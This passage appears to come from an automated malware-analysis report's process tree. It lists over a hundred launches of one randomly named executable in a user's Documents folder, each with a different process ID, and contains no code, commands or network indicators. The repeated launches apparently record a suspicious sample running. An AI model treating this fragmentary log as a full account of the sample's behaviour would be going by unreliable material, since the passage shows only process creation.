    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7788
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:8316
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:8248
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:4016
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:8084
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:1068
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:6060
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9196
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:6276
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7996
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7380
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5020
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:8544
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7864
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7160
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:188
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7864
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9412
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9488
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10016
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10148
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10204
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7452
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9920
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5244
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7452
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7088
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10416
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10536
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10572
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:11144
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10392
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:8952
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10528
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10760
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9972
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:6828
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:6164
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:11008
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3168
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:6940
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5836
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:11608
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:11672
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:11780
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:11876
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:11984
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:12036
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:12144
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:12144
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9532
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:12228
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:12572
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:12968
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:12372
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:13204
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10472
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:13148
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:13984
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:14080
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:14296
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:13812
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:12372
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9480
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:13680
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:14532
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:1836
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:13056
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:12988
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:15388
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:16328
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:14060
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:2084
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:16808
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:13892
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:15456
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:16924
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:17376
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:16676
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:11068
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10512
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:16216
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:16000
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:15764
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:15656
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:13744
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:14184
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:14180
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:14644
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:14424
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:15292
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:15184
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:14784
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:11624
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:12556
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7512
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:14168
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:13904
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:13732
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:13672
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:13616
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:13560
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:13388
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:12180
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:13308
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:13124
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10032
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:12688
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:12452
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:13236
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:12980
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:11644
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10852
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10768
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9904
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:13188
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:13104
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:13020
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:12664
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:12432
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:12340
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10968
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9624
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:8128
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9632
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:11900
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:11824
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:3676
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10396
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:11980
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:6936
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:11604
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:11772
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:11680
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:11380
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9396
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:9476
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:12236
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:11400
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:5168
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10708
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:8028
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:6584
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10452
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10600
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7024
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:11204
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:10892
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:7808
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
    3⤵
    PID:17744
- - C:\Users\Admin\Documents\wKMUKwrHwLKqt20Z9g5xFI2w.exe
